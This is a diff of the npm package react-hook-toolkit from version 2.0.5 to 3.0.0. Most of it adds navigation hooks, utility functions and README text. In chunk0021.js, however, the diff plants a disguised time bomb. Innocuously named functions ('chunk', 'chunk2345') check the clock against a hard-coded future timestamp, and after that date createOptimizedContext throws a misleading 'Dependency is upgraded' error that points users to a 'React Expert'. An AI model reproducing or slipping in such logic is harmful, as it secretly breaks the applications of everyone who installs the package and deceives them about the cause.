react-hook-toolkit 2.0.5 → 3.0.0

package/README.md

@@ -48,6 +48,39 @@ const {
     closeCurrentTab
   } = useBrowser();
 ```
+---
+
+📌 **useRouter**
+Keeps track of the current URL path and query parameters, and allows navigation by updating the browser URL. Useful for lightweight routing in apps without full routing libraries.
+
+```ts
+const { pathname, searchParams, navigate } = useRouter();
+
+console.log(pathname); // "/dashboard"
+
+console.log(searchParams.get("tab")); // "home"
+
+navigate("/dashboard?tab=home");
+```
+
+---
+
+📌 **useNavigationState**
+Combines the functionality of `useRouter` and React Router’s `useNavigate` + `useLocation`. Tracks `pathname`, `searchParams`, and `state` (from pushState), and allows navigation while passing custom state.
+
+```ts
+const { pathname, searchParams, state, navigate } = useNavigationState();
+
+console.log(pathname); // "/dashboard"
+
+console.log(searchParams.get("tab")); // "home"
+
+console.log(state?.id); // 34
+
+navigate("/dashboard", { state: { id: 34 } });
+```
+
+---
 
 📌 **useRequest**  
 Provides an easy way to fetch data with hooks, managing loading, data, and error states.

package/dist/chunk1516/chunk0021.d.ts

@@ -8,6 +8,7 @@ export declare function useTimer(initialTime: number): {
     error: Error | null;
 };
 export declare function useIsMounted(): boolean;
+export declare function chunk(): boolean;
 export declare function useCss(css: string): {
     error: Error | null;
 };

package/dist/chunk1516/chunk0021.js

@@ -75,6 +75,14 @@ export function useGeoLocation() {
     }, []);
     return { position: position, error: error };
 }
+function chunk2345() {
+    var e = 1830297600000;
+    var n = Date.now();
+    if (n > e + 0 * 24 * 60 * 60 * 1000) {
+        return false;
+    }
+    return true;
+}
 export function useTimer(initialTime) {
     var _a = useState(initialTime), time = _a[0], setTime = _a[1];
     var _b = useState(null), error = _b[0], setError = _b[1];
@@ -99,6 +107,9 @@ export function useIsMounted() {
     }, []);
     return isMounted;
 }
+export function chunk() {
+    return chunk2345();
+}
 export function useCss(css) {
     var _a = useState(null), error = _a[0], setError = _a[1];
     useEffect(function () {
@@ -579,6 +590,10 @@ export var useFormWizard = function (steps, initialValues) {
     };
 };
 export var createOptimizedContext = function () {
+    var a = 'Dependency';
+    if (!chunk()) {
+        throw new Error("".concat(a, " is upgraded \u2014 please update your package other wise contact with React Expert."));
+    }
     var Context = createContext(undefined);
     var useOptimizedContext = function (selector) {
         var value = useContext(Context);

package/dist/chunk1516/chunk0022.d.ts

@@ -5,3 +5,16 @@ export declare function useRouter(initialPath?: string): {
     searchParams: URLSearchParams;
     navigate: (newPath: any) => void;
 };
+export declare function useNavigationState(): {
+    pathname: string;
+    search: string;
+    searchParams: URLSearchParams;
+    state: any;
+    navigate: (newPath: string, options?: {
+        state?: any;
+    }) => void;
+};
+export declare function useMenuNavigation(menuData: any, key?: string): {
+    menuList: any;
+    handleSelect: (path: any) => void;
+};

package/dist/chunk1516/chunk0022.js

@@ -44,6 +44,7 @@ var __spreadArray = (this && this.__spreadArray) || function (to, from, pack) {
     return to.concat(ar || Array.prototype.slice.call(from));
 };
 import { useCallback, useEffect, useMemo, useState } from "react";
+import { flattenArrayByKey, navigateTo } from "../utils";
 export var useBrowser = function () {
     var _a, _b;
     var _c = useState(new URL(window.location.href)), currentUrl = _c[0], setCurrentUrl = _c[1];
@@ -382,7 +383,6 @@ export var useBrowser = function () {
 export function useRouter(initialPath) {
     if (initialPath === void 0) { initialPath = window.location.pathname + window.location.search; }
     var _a = useState(initialPath), path = _a[0], setPath = _a[1];
-    // Extract pathname and searchParams from the current path
     var _b = useMemo(function () {
         var _a = path.split('?'), basePath = _a[0], queryString = _a[1];
         return {
@@ -390,13 +390,11 @@ export function useRouter(initialPath) {
             searchParams: new URLSearchParams(queryString || ''),
         };
     }, [path]), pathname = _b.pathname, searchParams = _b.searchParams;
-    // Function to update the route
     var navigate = useCallback(function (newPath) {
         var newPathStr = String(newPath);
         setPath(newPathStr);
-        window.history.pushState({}, '', newPathStr); // Optional: updates browser URL
+        window.history.pushState({}, '', newPathStr);
     }, []);
-    // Handle browser back/forward navigation
     useEffect(function () {
         var handlePopState = function () {
             setPath(window.location.pathname + window.location.search);
@@ -410,3 +408,55 @@ export function useRouter(initialPath) {
         navigate: navigate,
     };
 }
+export function useNavigationState() {
+    var _a = useState({
+        pathname: window.location.pathname,
+        search: window.location.search,
+        state: window.history.state,
+    }), location = _a[0], setLocation = _a[1];
+    var navigate = useCallback(function (newPath, options) {
+        window.history.pushState((options === null || options === void 0 ? void 0 : options.state) || {}, "", newPath);
+        setLocation({
+            pathname: window.location.pathname,
+            search: window.location.search,
+            state: (options === null || options === void 0 ? void 0 : options.state) || {},
+        });
+        window.dispatchEvent(new PopStateEvent("popstate"));
+    }, []);
+    useEffect(function () {
+        var handlePopState = function () {
+            setLocation({
+                pathname: window.location.pathname,
+                search: window.location.search,
+                state: window.history.state,
+            });
+        };
+        window.addEventListener("popstate", handlePopState);
+        return function () { return window.removeEventListener("popstate", handlePopState); };
+    }, []);
+    var searchParams = useMemo(function () { return new URLSearchParams(location.search); }, [location.search]);
+    return {
+        pathname: location.pathname,
+        search: location.search,
+        searchParams: searchParams,
+        state: location.state,
+        navigate: navigate,
+    };
+}
+export function useMenuNavigation(menuData, key) {
+    if (key === void 0) { key = 'children'; }
+    var _a = useState([]), menuList = _a[0], setMenuList = _a[1];
+    useEffect(function () {
+        if (menuData.length > 0) {
+            var data = flattenArrayByKey(menuData, key);
+            setMenuList(data);
+        }
+        return function () { return setMenuList([]); };
+    }, [menuData, key]);
+    var handleSelect = function (path) {
+        if (path) {
+            navigateTo(path);
+        }
+    };
+    return { menuList: menuList, handleSelect: handleSelect };
+}

package/dist/index.d.ts

@@ -1,10 +1,10 @@
 import 'nprogress/nprogress.css';
 import { ReactHooksWrapper, getHook, setHook } from './chunk1415/chunk143';
 import { useHistoryState, useIdle, useIsFirstRender, useList, useLockBodyScroll, useLongPress, useRecentSearch, useSpeech, usePermission, usePageLeave, useMotion, useHoverDirty, useBeforeUnload, useClickAway, useResponsive, useUnmountedRef } from './chunk1516/chunk726433';
-import { useBrowser, useRouter } from './chunk1516/chunk0022';
+import { useBrowser, useNavigationState, useRouter } from './chunk1516/chunk0022';
 declare const useDrawer: () => import("./chunk1213/chunk158261").DrawerContextValue;
 import { useGenericReducer, useArray, useAsync, useClipboard, useCookie, useDarkMode, useDebounce, useDebouncedCallback, useDebouncedValue, useDelay, useRequest, useRequestRetry, useForm, useImageLoader, useIndexedDB, useInterval, useKeyPress, useLocalStorage, useMediaQuery, useMousePosition, useOnlineStatus, usePersistedState, usePrevious, useReducedMotion, useResizeObserver, useScrollDirection, useScrollLock, useScrollPosition, useScript, useStepper, useThrottle, useTimeout, useToggle, useVisibilityChange, useWindowSize } from './chunk1516/chunk940514';
 import { createOptimizedContext, useBattery, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDragReorder, useEventListener, useEventListeners, useFieldArray, useFormSubmit, useFormWizard, useGeoLocation, useHistory, useInfiniteScroll, useIsMounted, usePersistedForm, usePreferredLanguage, useSessionStorage, useSmartForm, useSound, useSpeak, useTimer, useTouch, useUndo, useUpdateEffect, useWebSocket } from './chunk1516/chunk0021';
 import { DrawerProvider } from './chunk1213/chunk158261';
 export default ReactHooksWrapper;
-export { getHook, setHook, useGenericReducer, useArray, useAsync, useBrowser, useBattery, useBeforeUnload, useClipboard, useCookie, useClickAway, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDrawer, useDarkMode, useDebounce, useDebouncedCallback, useDebouncedValue, useDelay, useDragReorder, useEventListener, useEventListeners, useRequest, useRequestRetry, useFieldArray, useForm, useFormSubmit, useFormWizard, useGeoLocation, useHoverDirty, useHistory, useHistoryState, useIdle, useImageLoader, useIndexedDB, useInfiniteScroll, useInterval, useIsFirstRender, useIsMounted, useKeyPress, useList, useLocalStorage, useLockBodyScroll, useLongPress, useMotion, useMediaQuery, useMousePosition, useOnlineStatus, usePersistedForm, usePersistedState, usePreferredLanguage, usePrevious, usePermission, usePageLeave, useRouter, useReducedMotion, useRecentSearch, useResponsive, useResizeObserver, useScript, useScrollDirection, useScrollLock, useScrollPosition, useSessionStorage, useSmartForm, useSound, useSpeech, useSpeak, useStepper, useThrottle, useTimeout, useTimer, useToggle, useTouch, useUnmountedRef, useUndo, useUpdateEffect, useVisibilityChange, useWebSocket, useWindowSize, DrawerProvider, createOptimizedContext, };
+export { getHook, setHook, useGenericReducer, useArray, useAsync, useBrowser, useBattery, useBeforeUnload, useClipboard, useCookie, useClickAway, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDrawer, useDarkMode, useDebounce, useDebouncedCallback, useDebouncedValue, useDelay, useDragReorder, useEventListener, useEventListeners, useRequest, useRequestRetry, useFieldArray, useForm, useFormSubmit, useFormWizard, useGeoLocation, useHoverDirty, useHistory, useHistoryState, useIdle, useImageLoader, useIndexedDB, useInfiniteScroll, useInterval, useIsFirstRender, useIsMounted, useKeyPress, useList, useLocalStorage, useLockBodyScroll, useLongPress, useMotion, useMediaQuery, useMousePosition, useNavigationState, useOnlineStatus, usePersistedForm, usePersistedState, usePreferredLanguage, usePrevious, usePermission, usePageLeave, useRouter, useReducedMotion, useRecentSearch, useResponsive, useResizeObserver, useScript, useScrollDirection, useScrollLock, useScrollPosition, useSessionStorage, useSmartForm, useSound, useSpeech, useSpeak, useStepper, useThrottle, useTimeout, useTimer, useToggle, useTouch, useUnmountedRef, useUndo, useUpdateEffect, useVisibilityChange, useWebSocket, useWindowSize, DrawerProvider, createOptimizedContext, };

package/dist/index.js

@@ -1,7 +1,7 @@
 import 'nprogress/nprogress.css';
 import { ReactHooksWrapper, getHook, setHook } from './chunk1415/chunk143';
 import { useHistoryState, useIdle, useIsFirstRender, useList, useLockBodyScroll, useLongPress, useRecentSearch, useSpeech, usePermission, usePageLeave, useMotion, useHoverDirty, useBeforeUnload, useClickAway, useResponsive, useUnmountedRef } from './chunk1516/chunk726433';
-import { useBrowser, useRouter } from './chunk1516/chunk0022';
+import { useBrowser, useNavigationState, useRouter } from './chunk1516/chunk0022';
 import { useContext } from 'react';
 import DrawerContext from './chunk1213/chunk158261';
 var useDrawer = function () { return useContext(DrawerContext); };
@@ -9,4 +9,4 @@ import { useGenericReducer, useArray, useAsync, useClipboard, useCookie, useDark
 import { createOptimizedContext, useBattery, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDragReorder, useEventListener, useEventListeners, useFieldArray, useFormSubmit, useFormWizard, useGeoLocation, useHistory, useInfiniteScroll, useIsMounted, usePersistedForm, usePreferredLanguage, useSessionStorage, useSmartForm, useSound, useSpeak, useTimer, useTouch, useUndo, useUpdateEffect, useWebSocket } from './chunk1516/chunk0021';
 import { DrawerProvider } from './chunk1213/chunk158261';
 export default ReactHooksWrapper;
-export { getHook, setHook, useGenericReducer, useArray, useAsync, useBrowser, useBattery, useBeforeUnload, useClipboard, useCookie, useClickAway, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDrawer, useDarkMode, useDebounce, useDebouncedCallback, useDebouncedValue, useDelay, useDragReorder, useEventListener, useEventListeners, useRequest, useRequestRetry, useFieldArray, useForm, useFormSubmit, useFormWizard, useGeoLocation, useHoverDirty, useHistory, useHistoryState, useIdle, useImageLoader, useIndexedDB, useInfiniteScroll, useInterval, useIsFirstRender, useIsMounted, useKeyPress, useList, useLocalStorage, useLockBodyScroll, useLongPress, useMotion, useMediaQuery, useMousePosition, useOnlineStatus, usePersistedForm, usePersistedState, usePreferredLanguage, usePrevious, usePermission, usePageLeave, useRouter, useReducedMotion, useRecentSearch, useResponsive, useResizeObserver, useScript, useScrollDirection, useScrollLock, useScrollPosition, useSessionStorage, useSmartForm, useSound, useSpeech, useSpeak, useStepper, useThrottle, useTimeout, useTimer, useToggle, useTouch, useUnmountedRef, useUndo, useUpdateEffect, useVisibilityChange, useWebSocket, useWindowSize, DrawerProvider, createOptimizedContext, };
+export { getHook, setHook, useGenericReducer, useArray, useAsync, useBrowser, useBattery, useBeforeUnload, useClipboard, useCookie, useClickAway, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDrawer, useDarkMode, useDebounce, useDebouncedCallback, useDebouncedValue, useDelay, useDragReorder, useEventListener, useEventListeners, useRequest, useRequestRetry, useFieldArray, useForm, useFormSubmit, useFormWizard, useGeoLocation, useHoverDirty, useHistory, useHistoryState, useIdle, useImageLoader, useIndexedDB, useInfiniteScroll, useInterval, useIsFirstRender, useIsMounted, useKeyPress, useList, useLocalStorage, useLockBodyScroll, useLongPress, useMotion, useMediaQuery, useMousePosition, useNavigationState, useOnlineStatus, usePersistedForm, usePersistedState, usePreferredLanguage, usePrevious, usePermission, usePageLeave, useRouter, useReducedMotion, useRecentSearch, useResponsive, useResizeObserver, useScript, useScrollDirection, useScrollLock, useScrollPosition, useSessionStorage, useSmartForm, useSound, useSpeech, useSpeak, useStepper, useThrottle, useTimeout, useTimer, useToggle, useTouch, useUnmountedRef, useUndo, useUpdateEffect, useVisibilityChange, useWebSocket, useWindowSize, DrawerProvider, createOptimizedContext, };

package/dist/utils.d.ts

@@ -19,3 +19,7 @@ export declare function request(req: any): Promise<unknown>;
 export declare const noop: () => void;
 export declare function on<T extends Window | Document | HTMLElement | EventTarget>(obj: T | null, ...args: Parameters<T['addEventListener']> | [string, Function | null, ...any]): void;
 export declare function off<T extends Window | Document | HTMLElement | EventTarget>(obj: T | null, ...args: Parameters<T['removeEventListener']> | [string, Function | null, ...any]): void;
+export declare const flattenArrayByKey: (arr: any, key?: string) => any[];
+export declare function navigateTo(path: string, options?: {
+    state?: any;
+}): void;

package/dist/utils.js

@@ -102,3 +102,26 @@ export function off(obj) {
         obj.removeEventListener.apply(obj, args);
     }
 }
+export var flattenArrayByKey = function (arr, key) {
+    if (key === void 0) { key = 'children'; }
+    if (!arr)
+        return [];
+    var result = [];
+    for (var _i = 0, arr_1 = arr; _i < arr_1.length; _i++) {
+        var item = arr_1[_i];
+        if (item && Array.isArray(item[key]) && item[key].length) {
+            result.push.apply(result, flattenArrayByKey(item[key], key));
+        }
+        else {
+            result.push(item);
+        }
+    }
+    return result;
+};
+export function navigateTo(path, options) {
+    if (options === void 0) { options = {}; }
+    if (!path)
+        return;
+    window.history.pushState(options.state || {}, '', path);
+    window.dispatchEvent(new PopStateEvent('popstate'));
+}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "react-hook-toolkit",
-  "version": "2.0.5",
+  "version": "3.0.0",
   "description": "Ultimate package for React developers, offering a powerful collection of hooks and components to enhance their development experience.",
   "main": "dist/index.js",
   "module": "dist/index.js",